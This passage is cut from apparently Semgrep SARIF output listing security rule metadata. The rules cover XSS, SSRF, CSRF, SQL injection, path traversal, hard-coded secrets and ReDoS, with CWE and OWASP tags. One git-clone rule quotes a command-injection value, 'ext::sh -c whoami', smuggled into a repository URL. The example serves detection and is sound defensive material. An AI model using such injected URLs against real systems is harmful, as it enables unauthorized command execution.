rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection."},"help":{"markdown":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled)\n - [https://flask-wtf.readthedocs.io/en/1.2.x/csrf/](https://flask-wtf.readthedocs.io/en/1.2.x/csrf/)\n","text":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","id":"python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","name":"python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","id":"typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","name":"typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y."},"help":{"markdown":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-math1)\n","text":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-math1","id":"python.lang.compatibility.python37.python37-compatibility-math1","name":"python.lang.compatibility.python37.python37-compatibility-math1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-math1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","id":"ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","name":"ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","id":"kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","name":"kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","id":"python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","name":"python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'."},"help":{"markdown":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","id":"go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","name":"go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","id":"python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","name":"python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","id":"ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","name":"ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"help":{"markdown":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe)\n - [https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#html_safe](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#html_safe)\n - [https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5](https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5)\n","text":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe","id":"python.django.security.audit.xss.html-safe.html-safe","name":"python.django.security.audit.xss.html-safe.html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.html-safe.html-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input."},"help":{"markdown":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.spawn-git-clone.spawn-git-clone)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.spawn-git-clone.spawn-git-clone","id":"javascript.lang.security.spawn-git-clone.spawn-git-clone","name":"javascript.lang.security.spawn-git-clone.spawn-git-clone","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.spawn-git-clone.spawn-git-clone"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Writing `$MAP` from multiple goroutines is not concurrency safe"},"help":{"markdown":"Writing `$MAP` from multiple goroutines is not concurrency safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.racy-write-to-map.racy-write-to-map)\n - [https://go.dev/blog/maps#concurrency](https://go.dev/blog/maps#concurrency)\n","text":"Writing `$MAP` from multiple goroutines is not concurrency safe"},"helpUri":"https://semgrep.dev/r/trailofbits.go.racy-write-to-map.racy-write-to-map","id":"trailofbits.go.racy-write-to-map.racy-write-to-map","name":"trailofbits.go.racy-write-to-map.racy-write-to-map","properties":{"precision":"very-high","tags":["CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.racy-write-to-map.racy-write-to-map"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string","id":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","name":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Artifactory token detected"},"help":{"markdown":"Artifactory token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-artifactory-token.detected-artifactory-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Artifactory token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-artifactory-token.detected-artifactory-token","id":"generic.secrets.security.detected-artifactory-token.detected-artifactory-token","name":"generic.secrets.security.detected-artifactory-token.detected-artifactory-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-artifactory-token.detected-artifactory-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","id":"python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","name":"python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.direct-response-write-with-header.direct-response-write-with-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"helpUri":"https://semgrep.dev/r/javascript.express.direct-response-write-with-header.direct-response-write-with-header","id":"javascript.express.direct-response-write-with-header.direct-response-write-with-header","name":"javascript.express.direct-response-write-with-header.direct-response-write-with-header","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.direct-response-write-with-header.direct-response-write-with-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information."},"help":{"markdown":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.unescaped-template-extension.unescaped-template-extension)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup](https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup)\n - [https://semgrep.dev/blog/2020/bento-check-unescaped-template-extensions-in-flask/](https://semgrep.dev/blog/2020/bento-check-unescaped-template-extensions-in-flask/)\n - [https://bento.dev/checks/flask/unescaped-file-extension/](https://bento.dev/checks/flask/unescaped-file-extension/)\n","text":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information."},"helpUri":"https://semgrep.dev/r/python.flask.security.unescaped-template-extension.unescaped-template-extension","id":"python.flask.security.unescaped-template-extension.unescaped-template-extension","name":"python.flask.security.unescaped-template-extension.unescaped-template-extension","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.unescaped-template-extension.unescaped-template-extension"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Custom ERC721 implementation lacks access control checks in _transfer()"},"help":{"markdown":"Custom ERC721 implementation lacks access control checks in _transfer()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom)\n - [https://twitter.com/BlockSecAlert/status/1516289618605654024](https://twitter.com/BlockSecAlert/status/1516289618605654024)\n - [https://etherscan.io/address/0xf3821adaceb6500c0a202971aecf840a033f236b](https://etherscan.io/address/0xf3821adaceb6500c0a202971aecf840a033f236b)\n","text":"Custom ERC721 implementation lacks access control checks in _transfer()"},"helpUri":"https://semgrep.dev/r/solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","id":"solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","name":"solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: 